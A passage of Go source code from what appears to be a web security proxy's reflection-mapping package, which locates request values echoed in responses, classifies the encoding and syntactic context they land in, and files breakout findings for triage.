// scanJSString returns the offset of the closing delimiter, or to.
func scanJSString(b []byte, i, to int, quote byte) int {
for i < to {
switch b[i] {
case '\\':
i += 2
continue
case quote:
return i
case '\n':
// An unterminated single- or double-quoted literal ends at the
// newline; a template literal spans lines.
if quote != '`' {
return i
}
}
i++
}
return to
}
// classifyJSON marks string values and keys. A key is a string whose next
// non-space byte is a colon.
func classifyJSON(b []byte) []ctxSpan {
w := &spanWriter{}
for i := 0; i < len(b); i++ {
if b[i] != '"' {
continue
}
w.emit(i+1, ctxSpan{ctx: ContextPlain})
end := scanJSString(b, i+1, len(b), '"')
j := end + 1
for j < len(b) && isSpace(b[j]) {
j++
}
ctx := ContextJSONString
if j < len(b) && b[j] == ':' {
ctx = ContextJSONKey
}
w.emit(end, ctxSpan{ctx: ctx})
i = end
w.emit(i+1, ctxSpan{ctx: ContextPlain})
}
w.emit(len(b), ctxSpan{ctx: ContextPlain})
return w.spans
}
// sinkAt finds the span covering off. The spans are gapless and sorted, so this
// is a binary search rather than a walk.
func sinkAt(spans []ctxSpan, off int) sink {
if len(spans) == 0 {
return sink{ctx: ContextPlain}
}
i := sort.Search(len(spans), func(k int) bool { return spans[k].end > off })
if i >= len(spans) {
i = len(spans) - 1
}
// A reflection starting on the '<' that opens a tag is the reflection that
// created that tag. Reporting the tag it became describes the payload; the
// operator needs the position it was injected into, which is the run before.
if i > 0 && spans[i].ctx == ContextTagName && off == spans[i].start {
i--
}
s := spans[i]
return sink{
ctx: s.ctx, js: s.js, attr: s.attr, quote: s.quote,
atValueStart: s.ctx == ContextAttrValue && off == s.valStart,
}
}
+308
View File
@@ -0,0 +1,308 @@
// Package echo maps every value a request sent to every place it comes back in
// the response, the transform it came back through, and the syntactic context it
// landed in. It is a triage aid for injection work: "reflected" alone is noise,
// because a busy page reflects dozens of values, so the useful unit is a
// reflection plus what survived it.
//
// The engine decodes the haystack; it never encodes the needle. Searching a
// response for an encoded form of a value means guessing which characters the
// application encoded and in which hex case, and it misses the common case
// outright — an application that escapes only < > & " and leaves the rest is
// never matched by a wholesale-encoded needle. Decoding the response into a
// handful of views and searching those for the literal value has neither
// problem. internal/chain/bind.go states the same rule for the same reason and
// declines to act on it, because a chain binding has nowhere to put a transform.
//
// The inversion is also what makes the cost bearable. Encoding needles costs
// values x transforms passes over the body; decoding views costs views passes,
// so the number of parameters a request carried stops multiplying the work. The
// views a body cannot contain are skipped on a single byte scan, which leaves
// the common response at two passes rather than a dozen.
//
// Analysis is per message: a value sent in a request is searched for in that
// request's own response. Values crossing messages — a name stored on one page
// and rendered on another — are a different question with a different cost, and
// are not answered here.
//
// Owning the walk means owning both halves of the question. inventory.go answers
// what a request sent, with no response involved, because the walker that already
// enumerates every input is here and a second one would drift from it. That half
// is built on demand for one site-map node and holds no state: it is the only
// part of the package that says anything when the engine has never been switched
// on, which is the point — an operator inventorying an endpoint's inputs has not
// asked about reflection yet.
//
// Only a reflection that can leave its context mints a detect.Finding, through
// detect.FindingID and detect.Store.Upsert, the path internal/anomaly and
// internal/capreg also use. Everything else stays in this package's own store,
// which is session state: a report holds no triage of its own and a rescan
// rebuilds it from history.
package echo
import "time"
// Source names where in the request a value was found.
type Source string
const (
SourceQuery Source = "query"
SourcePath Source = "path"
SourceForm Source = "form"
SourceJSON Source = "json"
SourceMultipart Source = "multipart"
SourceHeader Source = "header"
SourceCookie Source = "cookie"
)
// Sources lists every source in display order.
var Sources = []Source{
SourceQuery, SourcePath, SourceForm, SourceJSON,
SourceMultipart, SourceHeader, SourceCookie,
}
// Transform names how a value was re-encoded on its way into the response. A
// composed transform joins its steps with "+", outermost first, so the name
// reads in the order a decoder strips them.
type Transform string
const (
TransformIdentity Transform = "identity"
TransformPercent Transform = "percent"
TransformHTMLEntity Transform = "html_entity"
TransformJSString Transform = "js_string"
TransformBase64 Transform = "base64"
TransformPercentHTML Transform = "percent+html_entity"
TransformPercentTwice Transform = "percent+percent"
TransformHTMLPercent Transform = "html_entity+percent"
)
// Context names the syntactic position a reflection landed in. The classifier
// answers what a browser would do with those bytes, not what the specification
// says they mean.
type Context string
const (
ContextHTMLText Context = "html_text"
ContextHTMLComment Context = "html_comment"
ContextTagName Context = "tag_name"
ContextAttrName Context = "attr_name"
ContextAttrValue Context = "attr_value"
ContextScript Context = "script"
ContextStyle Context = "style"
ContextJSONString Context = "json_string"
ContextJSONKey Context = "json_key"
ContextHeaderValue Context = "header_value"
ContextPlain Context = "plain"
)
// Contexts lists every context in display order.
var Contexts = []Context{
ContextHTMLText, ContextAttrValue, ContextAttrName, ContextTagName,
ContextScript, ContextStyle, ContextHTMLComment,
ContextJSONString, ContextJSONKey, ContextHeaderValue, ContextPlain,
}
// JSContext sub-classifies a reflection inside a script block. Whether a value
// sits in code or inside a string literal decides what it takes to escape.
type JSContext string
const (
JSCode JSContext = "code"
JSStringSingle JSContext = "string_single"
JSStringDouble JSContext = "string_double"
JSTemplate JSContext = "template"
JSComment JSContext = "comment"
JSRegexpLiteral JSContext = "regexp"
)
// Confidence rates how likely a match is a real reflection rather than a
// coincidence. Short, low-entropy and date- or counter-shaped values collide
// with page text on their own.
type Confidence string
const (
ConfidenceHigh Confidence = "high"
ConfidenceMedium Confidence = "medium"
ConfidenceLow Confidence = "low"
)
// Span is a half-open byte range. Its coordinate system is whatever the
// enclosing struct names; a span is meaningless without one.
type Span struct {
Start int `json:"start"`
End int `json:"end"`
}
// Value is one input located in the request document.
type Value struct {
Source Source `json:"source"`
// Name is the parameter name, or a dotted path with [i] indices for a value
// reached by walking a JSON body.
Name string `json:"name"`
// Value is the decoded form — the bytes actually searched for.
Value string `json:"value"`
// Span locates the value inside the raw request document. Zero when the
// value has no contiguous run of its own there, which a decoded form does
// not always have.
Span Span `json:"span"`
}
// Key identifies the parameter a value came from, independent of the value.
func (v Value) Key() string { return string(v.Source) + ":" + v.Name }
// Reflection is one occurrence of a sent value in the response.
type Reflection struct {
Source Source `json:"source"`
Name string `json:"name"`
Value string `json:"value"`
Transform Transform `json:"transform"`
Context Context `json:"context"`
JSContext JSContext `json:"jsContext,omitempty"`
// Attr and Quote describe an attribute-value context: the attribute's name
// and the quote character enclosing it, empty for an unquoted value.
Attr string `json:"attr,omitempty"`
Quote string `json:"quote,omitempty"`
// Part names the document, and Coord the coordinate system Span indexes.
// A compressed body is reported against the decoded body, because the raw
// document shares no coordinates with it and dropping the offset would lose
// the most common response there is.
Part string `json:"part"`
Coord string `json:"coord"`
Span Span `json:"span"`
// Survived lists the value's own metacharacters that reached the response
// literally, in a stable order. Empty means the sink neutralized all of them.
Survived string `json:"survived,omitempty"`
// Breakout reports that Survived is enough to leave Context.
Breakout bool `json:"breakout"`
Confidence Confidence `json:"confidence"`
// RequestID and URL name the specific message this occurrence came from. An
// Entry aggregates examples across requests, so an example's Span only makes
// sense against its own response: these carry that response's identity.
RequestID string `json:"requestId,omitempty"`
URL string `json:"url,omitempty"`
// Snippet is a sanitized window of the response bytes around the match, and
// SnippetMatch locates the matched run within Snippet (offsets into Snippet,
// not the document). It lets the UI show the value in situ without refetching
// and re-decoding the raw body, which a compressed response makes impossible
// client-side. Bounded by snippetMaxBytes: a Reflection rides in capped slices
// but many of them, so the byte cap is the budget, not conditional population.
Snippet string `json:"snippet,omitempty"`
SnippetMatch Span `json:"snippetMatch"`
}
// SinkKey identifies a distinct place a parameter lands, for the roll-up.
func (r Reflection) SinkKey() string {
return string(r.Context) + "|" + string(r.Transform) + "|" + string(r.JSContext)
}
// Report is the analysis of one captured message.
type Report struct {
RequestID string `json:"requestId"`
Seq int `json:"seq"`
Host string `json:"host"`
Method string `json:"method"`
URL string `json:"url"`
Timestamp time.Time `json:"timestamp"`
// Values counts the candidate inputs considered, which is larger than the
// needle set: values below the admission bar are counted and not searched.
Values int `json:"values"`
Needles int `json:"needles"`
Breakouts int `json:"breakouts"`
Reflections []Reflection `json:"reflections"`
// Truncated marks that a cap was hit, so the report cannot claim to be
// exhaustive.
Truncated bool `json:"truncated"`
}
// Config tunes the engine. Read fresh each cycle so a change takes effect
// without a restart.
type Config struct {
Enabled bool `json:"enabled"`
ScopeOnly bool `json:"scopeOnly"`
// MaxBodyScanBytes is deliberately below detect's equivalent: this engine
// makes several linear passes over a body where a rule makes one.
MaxBodyScanBytes int `json:"maxBodyScanBytes"`
MaxRequestBodyScanBytes int `json:"maxRequestBodyScanBytes"`
MinValueLen int `json:"minValueLen"`
MaxValuesPerRequest int `json:"maxValuesPerRequest"`
MaxReflectionsPerRequest int `json:"maxReflectionsPerRequest"`
// TransformDepth 2 admits the composed views. Depth is capped rather than
// open because each extra level multiplies the view count and the yield
// falls off a cliff after two.
TransformDepth int `json:"transformDepth"`
Base64 bool `json:"base64"`
// ScanHeaders admits request headers and cookies as sources. Off by default:
// a session cookie echoed into a page is normal and drowns the map.
ScanHeaders bool `json:"scanHeaders"`
ExcludeHosts []string `json:"excludeHosts,omitempty"`
}
// DefaultConfig returns the configuration the engine starts with.
func DefaultConfig() Config {
return Config{
Enabled: false,
ScopeOnly: true,
MaxBodyScanBytes: 512 << 10,
MaxRequestBodyScanBytes: 256 << 10,
MinValueLen: 6,
MaxValuesPerRequest: 512,
MaxReflectionsPerRequest: 200,
TransformDepth: 2,
Base64: true,
ScanHeaders: false,
}
}
// Normalize clamps a configuration that arrived from an API patch or a
// hand-edited project file into the range the engine can honor.
func (c *Config) Normalize() {
d := DefaultConfig()
if c.MaxBodyScanBytes <= 0 {
c.MaxBodyScanBytes = d.MaxBodyScanBytes
}
if c.MaxBodyScanBytes > 8<<20 {
c.MaxBodyScanBytes = 8 << 20
}
if c.MaxRequestBodyScanBytes <= 0 {
c.MaxRequestBodyScanBytes = d.MaxRequestBodyScanBytes
}
if c.MaxRequestBodyScanBytes > 8<<20 {
c.MaxRequestBodyScanBytes = 8 << 20
}
if c.MinValueLen < 3 {
c.MinValueLen = 3
}
if c.MinValueLen > 64 {
c.MinValueLen = 64
}
if c.MaxValuesPerRequest <= 0 {
c.MaxValuesPerRequest = d.MaxValuesPerRequest
}
if c.MaxValuesPerRequest > 5000 {
c.MaxValuesPerRequest = 5000
}
if c.MaxReflectionsPerRequest <= 0 {
c.MaxReflectionsPerRequest = d.MaxReflectionsPerRequest
}
if c.MaxReflectionsPerRequest > 5000 {
c.MaxReflectionsPerRequest = 5000
}
if c.TransformDepth < 1 {
c.TransformDepth = 1
}
if c.TransformDepth > 2 {
c.TransformDepth = 2
}
}
+249
View File
@@ -0,0 +1,249 @@
package echo
import (
"strings"
"time"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/event"
)
// ReflectionRuleID is the synthetic rule a breakout finding is filed under. It
// is not an engine rule and will not resolve in detect.Engine.Rule, so the
// human key goes in Detail and the explanation in Evidence, which is what the
// findings UI falls back to.
const ReflectionRuleID = "echo.reflection"
const reflectionRuleName = "Reflected input can leave its context"
// reconcile brings Detect's view of this engine's findings up to date: mint a
// finding for every parameter with a breakout reflection, and retract the ones
// that no longer have any.
//
// Only a breakout mints a finding. A plain reflection is not a defect — a page
// that renders what you typed is a page working correctly — and filing one per
// reflection would bury the Detect table under the ordinary behavior of every
// search box on the engagement.
func (e *Engine) reconcile(cfg Config) {
if e.findings == nil || !cfg.Enabled {
return
}
next := map[string]string{}
changed := false
for _, entry := range e.store.Breakouts() {
f := entry.finding()
sig := string(f.Severity) + "|" + f.Evidence
next[f.ID] = sig
e.mu.RLock()
prev, had := e.managed[f.ID]
e.mu.RUnlock()
// An unchanged finding is not re-upserted: every Upsert bumps the
// findings store revision, which feeds the autosave fingerprint, and
// rewriting a steady finding each pass would force a project save on
// every tick.
if had && prev == sig {
continue
}
stored, isNew := e.findings.Upsert(f)
changed = true
if stored != nil {
e.emitFinding(*stored, isNew)
}
}
e.mu.Lock()
prevManaged := e.managed
e.managed = next
e.mu.Unlock()
for id := range prevManaged {
if _, still := next[id]; still {
continue
}
if e.retract(id) {
changed = true
}
}
if changed && e.notify != nil {
e.notify()
}
}
// retract removes a finding this engine owns, unless the operator has triaged
// it. A finding someone marked a false positive or wrote a note on is theirs
// now, and deleting it would discard that work.
func (e *Engine) retract(id string) bool {
f, ok := e.findings.Get(id)
if !ok {
return false
}
if f.FalsePositive || strings.TrimSpace(f.Notes) != "" {
return false
}
return e.findings.Delete(id)
}
// retractAll drops every finding this engine owns, for when the feature is
// switched off. The map itself is kept: re-enabling should not have to rescan.
func (e *Engine) retractAll() {
if e.findings == nil {
return
}
e.mu.Lock()
managed := e.managed
e.managed = map[string]string{}
e.mu.Unlock()
changed := false
for id := range managed {
if e.retract(id) {
changed = true
}
}
if changed && e.notify != nil {
e.notify()
}
}
func (e *Engine) emitFinding(f detect.Finding, isNew bool) {
if e.broadcast == nil {
return
}
select {
case e.broadcast <- event.WSEvent{
Type: "detect.finding",
Data: map[string]any{"finding": f, "isNew": isNew},
}:
default:
}
}
// finding renders one map row as a detect.Finding, keyed on the parameter so
// the same parameter breaking out on many URLs is one row to triage.
func (e Entry) finding() detect.Finding {
worst := e.worstBreakout()
sev, conf := reflectionSeverity(worst)
now := time.Now()
f := detect.Finding{
ID: detect.FindingID(ReflectionRuleID, e.Host, string(e.Source)+":"+e.Name),
RuleID: ReflectionRuleID,
RuleName: reflectionRuleName,
Category: detect.CategoryReflection,
Severity: sev,
Confidence: conf,
Target: detect.TargetResponseBody,
Host: e.Host,
URL: e.ExampleURL,
RequestID: e.ExampleRequestID,
Detail: string(e.Source) + " parameter " + e.Name,
Evidence: describe(worst),
EvidenceOffset: -1,
FirstSeen: now,
LastSeen: e.LastSeen,
}
if f.LastSeen.IsZero() {
f.LastSeen = now
}
// Offsets are reported only against the raw document. A decompressed body
// shares no coordinates with it, and a Detect pane highlighting the wrong
// bytes is worse than one highlighting none.
if worst.Coord == "raw" && worst.Span.End > worst.Span.Start {
f.EvidenceOffset = worst.Span.Start
f.EvidenceLength = worst.Span.End - worst.Span.Start
f.EvidencePart = worst.Part
}
return f
}
// worstBreakout picks the reflection a finding should describe: the most
// confident one that can leave its context.
func (e Entry) worstBreakout() Reflection {
rank := map[Confidence]int{ConfidenceHigh: 0, ConfidenceMedium: 1, ConfidenceLow: 2}
var best Reflection
found := false
for _, r := range e.Examples {
if !r.Breakout {
continue
}
if !found || rank[r.Confidence] < rank[best.Confidence] {
best, found = r, true
}
}
return best
}
// reflectionSeverity grades a breakout by what the context lets it reach. A
// header break is a split response, which affects every client on the path; a
// script or markup break is confined to the page.
func reflectionSeverity(r Reflection) (detect.Severity, detect.Confidence) {
conf := detect.ConfidenceMedium
switch r.Confidence {
case ConfidenceHigh:
conf = detect.ConfidenceHigh
case ConfidenceLow:
conf = detect.ConfidenceLow
}
switch r.Context {
case ContextHeaderValue:
return detect.SeverityHigh, conf
case ContextScript, ContextHTMLText, ContextAttrValue, ContextTagName, ContextAttrName:
return detect.SeverityMedium, conf
case ContextStyle, ContextHTMLComment, ContextJSONString, ContextJSONKey:
return detect.SeverityLow, conf
}
return detect.SeverityInfo, conf
}
// describe renders the one sentence that tells an operator what to do next.
func describe(r Reflection) string {
var b strings.Builder
b.WriteString("reflected ")
if r.Transform == TransformIdentity {
b.WriteString("unencoded")
} else {
b.WriteString(string(r.Transform) + "-encoded")
}
b.WriteString(" into ")
switch r.Context {
case ContextAttrValue:
if r.Quote == "" {
b.WriteString("an unquoted " + r.Attr + " attribute")
} else {
b.WriteString("the " + r.Quote + "-quoted " + r.Attr + " attribute")
}
case ContextScript:
if r.JSContext == JSCode || r.JSContext == "" {
b.WriteString("script code")
} else {
b.WriteString("a script " + strings.ReplaceAll(string(r.JSContext), "_", " "))
}
case ContextHeaderValue:
b.WriteString("a response header")
default:
b.WriteString(strings.ReplaceAll(string(r.Context), "_", " "))
}
if r.Survived != "" {
b.WriteString("; " + quoteChars(r.Survived) + " survived")
}
return b.String()
}
// quoteChars renders surviving characters readably, naming the ones that have
// no printable form.
func quoteChars(s string) string {
parts := make([]string, 0, len(s))
for _, c := range []byte(s) {
switch c {
case '\n':
parts = append(parts, "LF")
case '\r':
parts = append(parts, "CR")
default:
parts = append(parts, string(c))
}
}
return strings.Join(parts, " ")
}
+137
View File
@@ -0,0 +1,137 @@
package echo
import (
"sort"
"time"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/proxy"
)
// maxExampleValue bounds the example carried on a row. A JSON leaf has no length
// limit of its own, and a row is a table cell.
const maxExampleValue = 256
// RequestParams is Walk's output without the matching step: every input the
// request carried, whether or not it is worth searching a response for.
//
// ScanHeaders is forced on. The engine leaves it off because a header walk buries
// a reflection map in values the operator never sent, but that reasoning is about
// ranking matches and there are no matches here — a header and a cookie are inputs
// the target parses, so an inventory that hid them would be answering a different
// question than the one it was asked. boringHeaders still drops the ones the
// client fixes.
func RequestParams(r *proxy.CapturedRequest, cfg Config) []Value {
cfg.Normalize()
cfg.ScanHeaders = true
return Walk(detect.Parse(r, ParseConfig(cfg)), cfg)
}
// ParamRow is one parameter observed across a set of requests, identified the way
// Value.Key identifies it: by source and name, independent of value.
type ParamRow struct {
Source Source `json:"source"`
Name string `json:"name"`
// Requests counts the requests that carried the parameter, not the times it
// appeared: a name repeated within one request counts once.
Requests int `json:"requests"`
DistinctValues int `json:"distinctValues"`
Methods []string `json:"methods"`
ExampleValue string `json:"exampleValue"`
ExampleRequestID string `json:"exampleRequestId"`
LastSeen time.Time `json:"lastSeen"`
// Reflected and Breakouts are filled by the caller from the reflection store,
// which this package's inventory half knows nothing about. Both stay zero when
// reflection mapping has never run, which reads as "not known to reflect" and
// must not be rendered as "does not reflect".
Reflected bool `json:"reflected"`
Breakouts int `json:"breakouts"`
}
// Inventory folds a set of captured requests into one row per parameter, sorted
// by source display order then name. Input order does not matter; the example and
// LastSeen come from the newest request that carried the parameter.
//
// The caller decides how many requests to walk. This is the expensive half of the
// package — every request is parsed and every body walked — so it is built on
// demand for one site-map node rather than maintained as the engine scans.
func Inventory(reqs []*proxy.CapturedRequest, cfg Config) []ParamRow {
type agg struct {
row ParamRow
values map[string]struct{}
methods map[string]struct{}
}
rows := make(map[string]*agg)
for _, r := range reqs {
if r == nil {
continue
}
// A name repeated within one request must not inflate Requests, so the
// per-request keys are collapsed before folding.
seen := make(map[string]struct{})
for _, v := range RequestParams(r, cfg) {
key := v.Key()
a, ok := rows[key]
if !ok {
a = &agg{
row: ParamRow{Source: v.Source, Name: v.Name},
values: make(map[string]struct{}),
methods: make(map[string]struct{}),
}
rows[key] = a
}
if _, dup := seen[key]; !dup {
seen[key] = struct{}{}
a.row.Requests++
}
a.values[v.Value] = struct{}{}
a.methods[r.Method] = struct{}{}
if r.Timestamp.After(a.row.LastSeen) {
a.row.LastSeen = r.Timestamp
a.row.ExampleRequestID = r.ID
a.row.ExampleValue = truncateValue(v.Value)
}
}
}
order := make(map[Source]int, len(Sources))
for i, s := range Sources {
order[s] = i
}
out := make([]ParamRow, 0, len(rows))
for _, a := range rows {
a.row.DistinctValues = len(a.values)
methods := make([]string, 0, len(a.methods))
for m := range a.methods {
methods = append(methods, m)
}
sort.Strings(methods)
a.row.Methods = methods
out = append(out, a.row)
}
sort.Slice(out, func(i, j int) bool {
if oi, oj := order[out[i].Source], order[out[j].Source]; oi != oj {
return oi < oj
}
return out[i].Name < out[j].Name
})
return out
}
// truncateValue cuts an example to maxExampleValue bytes without splitting a
// rune, so the result is still valid UTF-8 for a JSON encoder.
func truncateValue(v string) string {
if len(v) <= maxExampleValue {
return v
}
cut := maxExampleValue
for cut > 0 && v[cut]&0xC0 == 0x80 {
cut--
}
return v[:cut]
}
+165
View File
@@ -0,0 +1,165 @@
package echo
// Aho-Corasick over the needle set, so one pass over a view finds every value
// at once. The alternative — a substring search per needle — costs needles x
// bytes, which a request carrying hundreds of parameters turns into hundreds of
// megabytes of scanning per response. Here the cost is the length of the view
// plus the matches, whatever the parameter count.
//
// The root's transitions are a dense array and every other node's a map,
// because almost every byte of a response fails at the root and nowhere else.
// maxNeedleBytes bounds the automaton. Needles are admitted longest-first until
// the budget is spent, so a request that blows the budget loses its least
// distinctive values rather than an arbitrary suffix of them.
const maxNeedleBytes = 64 << 10
type acNode struct {
next map[byte]int32
fail int32
// term is the index of the needle ending at this node, or -1.
term int32
// outLink is the nearest node reachable by fail links that is terminal, or
// -1: it turns reporting every match at a position into a short walk rather
// than a full fail-chain traversal.
outLink int32
}
type matcher struct {
root [256]int32
nodes []acNode
needles []string
}
// newMatcher builds the automaton. Returns nil when nothing was admitted, which
// callers treat as "no work to do" rather than an error.
func newMatcher(needles []string) *matcher {
if len(needles) == 0 {
return nil
}
m := &matcher{}
// Node 0 is the root.
m.nodes = append(m.nodes, acNode{fail: 0, term: -1, outLink: -1})
budget := maxNeedleBytes
for _, n := range needles {
if len(n) == 0 || len(n) > budget {
continue
}
budget -= len(n)
idx := int32(len(m.needles))
m.needles = append(m.needles, n)
m.insert(n, idx)
}
if len(m.needles) == 0 {
return nil
}
m.build()
return m
}
func (m *matcher) insert(s string, idx int32) {
cur := int32(0)
for i := 0; i < len(s); i++ {
c := s[i]
var nxt int32
if cur == 0 {
nxt = m.root[c]
} else if m.nodes[cur].next != nil {
nxt = m.nodes[cur].next[c]
}
if nxt == 0 {
m.nodes = append(m.nodes, acNode{fail: 0, term: -1, outLink: -1})
nxt = int32(len(m.nodes) - 1)
if cur == 0 {
m.root[c] = nxt
} else {
if m.nodes[cur].next == nil {
m.nodes[cur].next = make(map[byte]int32, 2)
}
m.nodes[cur].next[c] = nxt
}
}
cur = nxt
}
// A duplicate needle keeps the first index; callers dedupe before building.
if m.nodes[cur].term < 0 {
m.nodes[cur].term = idx
}
}
// build wires the fail and output links by breadth-first traversal.
func (m *matcher) build() {
queue := make([]int32, 0, len(m.nodes))
for c := 0; c < 256; c++ {
if n := m.root[c]; n != 0 {
m.nodes[n].fail = 0
queue = append(queue, n)
}
}
for i := 0; i < len(queue); i++ {
cur := queue[i]
for c, nxt := range m.nodes[cur].next {
f := m.nodes[cur].fail
for {
if g := m.goto_(f, c); g != 0 {
m.nodes[nxt].fail = g
break
}
if f == 0 {
m.nodes[nxt].fail = 0
break
}
f = m.nodes[f].fail
}
queue = append(queue, nxt)
}
f := m.nodes[cur].fail
if m.nodes[f].term >= 0 {
m.nodes[cur].outLink = f
} else {
m.nodes[cur].outLink = m.nodes[f].outLink
}
}
}
// goto_ follows one labelled edge without applying fail links.
func (m *matcher) goto_(node int32, c byte) int32 {
if node == 0 {
return m.root[c]
}
if m.nodes[node].next == nil {
return 0
}
return m.nodes[node].next[c]
}
// find reports every needle occurrence in hay. fn receives the needle's index
// and the half-open range it occupies; returning false stops the scan, which is
// how a per-message reflection cap is enforced without scanning the rest of a
// body whose results are already discarded.
func (m *matcher) find(hay []byte, fn func(idx int32, start, end int) bool) {
cur := int32(0)
for i := 0; i < len(hay); i++ {
c := hay[i]
for {
if g := m.goto_(cur, c); g != 0 {
cur = g
break
}
if cur == 0 {
break
}
cur = m.nodes[cur].fail
}
for n := cur; n >= 0; {
if t := m.nodes[n].term; t >= 0 {
l := len(m.needles[t])
if !fn(t, i+1-l, i+1) {
return
}
}
n = m.nodes[n].outLink
}
}
}
+338
View File
@@ -0,0 +1,338 @@
package echo
import (
"bytes"
"encoding/json"
"mime"
"mime/multipart"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/detect"
)
// boringHeaders are request headers whose values are either fixed by the client
// or echoed by every page on the host. Walking them buries the map in matches
// no operator sent.
var boringHeaders = map[string]bool{
"Host": true, "Connection": true, "Content-Length": true,
"Content-Type": true, "Accept": true, "Accept-Encoding": true,
"Accept-Language": true, "Accept-Charset": true, "Cache-Control": true,
"Pragma": true, "Upgrade-Insecure-Requests": true, "Te": true,
"Sec-Fetch-Dest": true, "Sec-Fetch-Mode": true, "Sec-Fetch-Site": true,
"Sec-Fetch-User": true, "Sec-Ch-Ua": true, "Sec-Ch-Ua-Mobile": true,
"Sec-Ch-Ua-Platform": true, "Dnt": true, "Priority": true,
"Cookie": true, // walked separately, per cookie
}
// ubiquitous are values so common that a match against one says nothing about
// the request that carried it.
var ubiquitous = map[string]bool{
"true": true, "false": true, "null": true, "none": true, "undefined": true,
"nil": true, "yes": true, "no": true, "on": true, "off": true,
"all": true, "any": true, "default": true, "auto": true, "utf-8": true,
"application/json": true, "text/html": true, "en": true, "en-us": true,
}
// Walk enumerates every value the request sent, in a stable order. Values are
// returned whether or not they pass the admission bar, because the count of
// inputs considered is worth reporting even when few are searched.
func Walk(m *detect.Message, cfg Config) []Value {
var out []Value
add := func(v Value) {
if len(out) < cfg.MaxValuesPerRequest {
out = append(out, v)
}
}
if m.URL != nil {
walkQuery(m.URL.RawQuery, SourceQuery, m.ReqRawHdr, hdrBase, add)
walkPath(m.URL.EscapedPath(), m.ReqRawHdr, add)
}
walkBody(m, cfg, add)
if cfg.ScanHeaders {
walkCookies(m, add)
for name, vals := range m.ReqHeader {
if boringHeaders[name] {
continue
}
for _, v := range vals {
add(Value{
Source: SourceHeader, Name: name, Value: v,
Span: locate(m.ReqRawHdr, []byte(v), hdrBase),
})
}
}
}
return out
}
// hdrBase is the offset of a header block within its raw document: a header
// block always starts at byte 0, so a header-relative offset is already a
// document offset.
const hdrBase = 0
// walkBody dispatches on content type. A body Parse did not populate — which is
// every body when detect's ScanRequests is off — yields nothing, which is why
// the engine parses with its own config.
func walkBody(m *detect.Message, cfg Config, add func(Value)) {
if len(m.ReqBody) == 0 {
return
}
ct, params, _ := mime.ParseMediaType(m.ReqHeader.Get("Content-Type"))
switch {
case strings.Contains(ct, "json"):
walkJSONBody(m.ReqBody, m.ReqBodyStart, add)
case ct == "multipart/form-data":
walkMultipart(m.ReqBody, params["boundary"], add)
case ct == "application/x-www-form-urlencoded" || ct == "":
walkQuery(string(m.ReqBody), SourceForm, m.ReqBody, m.ReqBodyStart, add)
default:
// An unrecognized body is still worth one whole-body needle when it is
// small enough to be a single value rather than a document.
if len(m.ReqBody) <= 512 {
add(Value{
Source: SourceForm, Name: "body", Value: string(m.ReqBody),
Span: Span{Start: m.ReqBodyStart, End: m.ReqBodyStart + len(m.ReqBody)},
})
}
}
}
// walkQuery splits an &-separated key=value list. It is used for both the URL
// query and a urlencoded body, which share a grammar including + for space.
func walkQuery(raw string, src Source, doc []byte, base int, add func(Value)) {
if raw == "" {
return
}
for _, pair := range strings.FieldsFunc(raw, func(r rune) bool { return r == '&' || r == ';' }) {
if pair == "" {
continue
}
name, rawVal, found := strings.Cut(pair, "=")
if !found {
continue
}
val := percentDecode(rawVal, true)
if val == "" {
continue
}
add(Value{
Source: src,
Name: percentDecode(name, true),
Value: val,
Span: locate(doc, []byte(rawVal), base),
})
}
}
// walkPath yields each non-empty path segment, named by its index. A segment is
// as much an input as a query parameter and is the one an application is most
// likely to render back as a title or an error.
func walkPath(escaped string, doc []byte, add func(Value)) {
segs := strings.Split(escaped, "/")
for i, seg := range segs {
if seg == "" {
continue
}
val := percentDecode(seg, false)
if val == "" {
continue
}
add(Value{
Source: SourcePath,
Name: "[" + strconv.Itoa(i) + "]",
Value: val,
Span: locate(doc, []byte(seg), hdrBase),
})
}
}
// walkCookies splits the Cookie header into its pairs.
func walkCookies(m *detect.Message, add func(Value)) {
for _, line := range m.ReqHeader.Values("Cookie") {
for _, pair := range strings.Split(line, ";") {
name, val, found := strings.Cut(strings.TrimSpace(pair), "=")
if !found || val == "" {
continue
}
add(Value{
Source: SourceCookie, Name: name, Value: val,
Span: locate(m.ReqRawHdr, []byte(val), hdrBase),
})
}
}
}
// walkJSONBody visits every scalar leaf of a JSON body, naming it by a dotted
// path with [i] indices. Spans come from locating the leaf's encoded form,
// because decoding through encoding/json discards offsets.
func walkJSONBody(body []byte, base int, add func(Value)) {
var v any
if err := json.Unmarshal(body, &v); err != nil {
return
}
walkJSONValue(v, "", func(path, val string) {
if val == "" {
return
}
enc, err := json.Marshal(val)
span := Span{}
if err == nil && len(enc) >= 2 {
span = locate(body, enc[1:len(enc)-1], base)
}
add(Value{Source: SourceJSON, Name: path, Value: val, Span: span})
})
}
// walkJSONValue recurses into objects and arrays, reporting scalars. Numbers
// are formatted without exponent notation so a large integer keeps the digits
// the application sent.
func walkJSONValue(v any, path string, fn func(path, val string)) {
switch t := v.(type) {
case map[string]any:
for k, sub := range t {
p := k
if path != "" {
p = path + "." + k
}
walkJSONValue(sub, p, fn)
}
case []any:
for i, sub := range t {
walkJSONValue(sub, path+"["+strconv.Itoa(i)+"]", fn)
}
case string:
fn(path, t)
case float64:
fn(path, strconv.FormatFloat(t, 'f', -1, 64))
case bool:
fn(path, strconv.FormatBool(t))
}
}
// walkMultipart yields each form field's value, skipping file parts: a file's
// bytes are a payload, not a parameter, and reading them defeats the body cap.
func walkMultipart(body []byte, boundary string, add func(Value)) {
if boundary == "" {
return
}
mr := multipart.NewReader(bytes.NewReader(body), boundary)
for {
p, err := mr.NextPart()
if err != nil {
return
}
if p.FileName() != "" {
p.Close()
continue
}
buf := make([]byte, 4096)
n, _ := p.Read(buf)
p.Close()
if n <= 0 {
continue
}
val := string(buf[:n])
add(Value{
Source: SourceMultipart, Name: p.FormName(), Value: val,
Span: locate(body, buf[:n], 0),
})
}
}
// locate reports where needle sits in doc, but only when it occurs exactly
// once. An ambiguous literal gets no span rather than a guessed one, because a
// span pointing at the wrong occurrence reads as a fact.
func locate(doc, needle []byte, base int) Span {
if len(needle) == 0 || len(doc) == 0 {
return Span{}
}
i := bytes.Index(doc, needle)
if i < 0 {
return Span{}
}
if bytes.Index(doc[i+1:], needle) >= 0 {
return Span{}
}
return Span{Start: base + i, End: base + i + len(needle)}
}
// percentDecode expands %XX in place, leaving a malformed escape as the literal
